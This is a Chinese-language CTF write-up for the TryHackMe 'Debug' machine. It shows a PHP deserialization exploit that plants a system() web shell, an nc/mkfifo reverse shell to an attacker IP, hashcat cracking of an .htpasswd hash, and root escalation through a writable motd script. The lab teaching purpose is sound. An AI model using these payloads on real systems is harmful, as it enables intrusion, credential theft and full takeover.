Debug

Linux机器CTF!您将了解枚举,查找隐藏的密码文件以及如何利用php反序列化!


端口扫描

循例,nmap

Web枚举

进到web是apache默认页面,直接开扫

由于题目告诉我们涉及php反序列化,那直接找php文件来看,这里下载index.php.bak

PHP 反序列化

非常简单的反序列化

”所有php里面的值都可以使用函数 serialize () 来返回一个包含字节流的字符串来表示。. unserialize () 函数能够重新把字符串变回php原来的值。. 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。. 为了能够 unserialize () 一个对象,这个对象的类必须已经定义过。. 如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。. 如果要想在另外一个文件中反序列化一个对象,这个对象的类必须在反序列化之前定义“

<?phpclass FormSubmit {public $form_file = 'message.txt';
public $message = '';public function SaveMessage() {$NameArea = $_GET['name'];
$EmailArea = $_GET['email'];
$TextArea = $_GET['comments'];$this-> message = "Message From : " . $NameArea . " || From Email : " . $EmailArea . " || Comment : " . $TextArea . "\n";}public function __destruct() {file_put_contents(__DIR__ . '/' . $this->form_file,$this->message,FILE_APPEND);
echo 'Your submission has been successfully saved!';}}// Leaving this for now... only for debug purposes... do not touch!$debug = $_GET['debug'] ?? '';
$messageDebug = unserialize($debug);$application = new FormSubmit;
$application -> SaveMessage();?>

这里对debug参数进行反序列并执行函数

$debug = $_GET['debug'] ?? '';
$messageDebug = unserialize($debug);$application = new FormSubmit;
$application -> SaveMessage();

这里直接劫持form_file和message参数,然后重新序列化

public $form_file = 'cmd.php';
public $message = '<?php @system($_GET["cmd"]);?>';
$obj = new FormSubmit();echo serialize($obj);

传过去:

开启nc监听,然后直接reverse shell

payload:

mkfifo /tmp/f1;nc 10.14.39.48 8888 < /tmp/f1 | /bin/bash > /tmp/f1

加固shell:

python3 -c "import pty;pty.spawn('/bin/bash')"

横向移动

在home目录下有两个文件夹,但是无权访问

再看看服务账户的家目录下,看一下.htpasswd发现了james的凭据

这里可以使用hash-identifier查看类型然后再查看hashcat -h找找类型值

为了方便我这里使用haiti-hash,这个工具直接给出hashcat和john的对应类型值

hashcat爆破:

hashcat -a 0 -m 1600 ./hash /usr/share/wordlists/rockyou.txt

直接登录james的ssh

权限提升

查看.bash_history

发现该目录下的文件james组有权修改,这里可以执行命令

修改00-header

重新登录james的ssh

getroot

TryHackMe-Debug(ez php反序列化)相关推荐

  1. 缓存处理类(MemoryCache结合文件缓存)

    想提升站点的性能,于是增加了缓存,但是站点不会太大,于是不会到分布式memcached的缓存和redis这个nosql库,于是自己封装了.NET内置的缓存组件 原先使用System.Web.Cachi ...

  2. HandyJSON阅读笔记

    2019独角兽企业重金招聘Python工程师标准>>> HandyJSON仓库: https://github.com/alibaba/HandyJSON HandyJSON 花了一 ...

  3. aes key长度_原创 | 浅谈Shiro反序列化获取Key的几种方式

    点击"关注"了解更多信息 关于Apache Shiro反序列化 在shiro≤1.2.4版本,默认使⽤了CookieRememberMeManager,由于AES使用的key泄露, ...

  4. java反序列化漏洞的一些gadget

    目录 0x00 URLDNS 0x01 Commons Collections 0x02 RMI的codebase任意代码执行 0x03 JNDI 0x04 LDAP 0x05 JDK7u21 首先说 ...

  5. 面试:什么是序列化,怎么序列化,为什么序列化,反序列化会遇到什么问题,如何解决?...

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | riemann_ 来源 | blog.csdn ...

  6. C#序列化反序列化对象为base64字符串

    2019独角兽企业重金招聘Python工程师标准>>> 之所以序列化为base64 字符串 方便传输,可存储在本地 也可以是服务器 public class Serializer{p ...

  7. python pickle反序列化漏洞_Python Pickle反序列化带来的安全问题

    Python Pickle反序列化带来的安全问题 GaRY | 2013-01-14 15:00 Author: wofeiwo#80sec.com 数据序列化,这是个很常见的应用场景,通常被广泛应用 ...

  8. 第四节:IO、序列化和反序列化、加密解密技术

    一. IO读写 这里主要包括文件的读.写.移动.复制.删除.文件夹的创建.文件夹的删除等常规操作. 注意:这里需要特别注意,对于普通的控制台程序和Web程序,将"相对路径"转换成& ...

  9. 【WEB安全】Xstream最新反序列化poc执行报错问题

    前言 最近有个需求,用Xstream反序列化打个内存马,从通用性来讲,肯定用1.4.17的洞去打应用范围最广.众所周知,Xstream官方会提供其漏洞的poc.在我实验之下,1.4.17的几个poc只 ...

最新文章

  1. VUE中使用Echarts绘制地图迁移
  2. 女生参加软件测试培训合适吗
  3. GEMM性能提升200倍,AutoKernel算子优化工具正式开源
  4. 选择开源项目的时候,哪些因素是最需要考量的?
  5. mysql数据库语句分类_细数MySQL中SQL语句的分类
  6. ZooKeeper官方文档学习笔记03-程序员指南
  7. 【QCustomPlot】1.0 - QCustomPlot库添加到自己的工程、创建工程
  8. centos 6.5安装extundelete软件报错
  9. 代码行数统计工具cloc
  10. python中pip安装报错的一些总结
  11. 04网络爬虫-批量下载网站图片
  12. 正向/逆向最大匹配法分词实现
  13. 键盘修改器,绝对管用
  14. 前端字体图标的使用(阿里、icomoon)
  15. VR购物Buy+是否会让线下实体店渐渐消亡?
  16. 一个程序员修炼之道《论程序员的自我修养》
  17. 小米步童鞋店在这次交易中到底损失了多少钱
  18. ADC时钟与采样周期的作用
  19. c语言程序设计第一次月考考试重点,月考小技巧,助你得高分
  20. oracle 官网邮箱和密码是什么,我是如何进入21cn内网的(可能获取用户邮箱密码)...

热门文章

  1. 面向对象三大特征介绍
  2. Kettle环境中的参数传递
  3. 基于S2SH开发大学毕业生就业信息管理系统+开题报告+论文+PPT 毕业设计
  4. android骨架屏框架,Android 骨架屏效果,了解一下
  5. 拉面料理店中的装饰者设计模式
  6. 分享Python采集79个NET其他类别源码,总有一款适合您
  7. java小项目:危险品检测
  8. Vue从后往前截取字符串的方法
  9. 通俗理解TCP/IP协议三次握手与四次分手流程
  10. HP Elitebook 830 G5/Win10蓝屏 UcmUcsi.sys 错误解决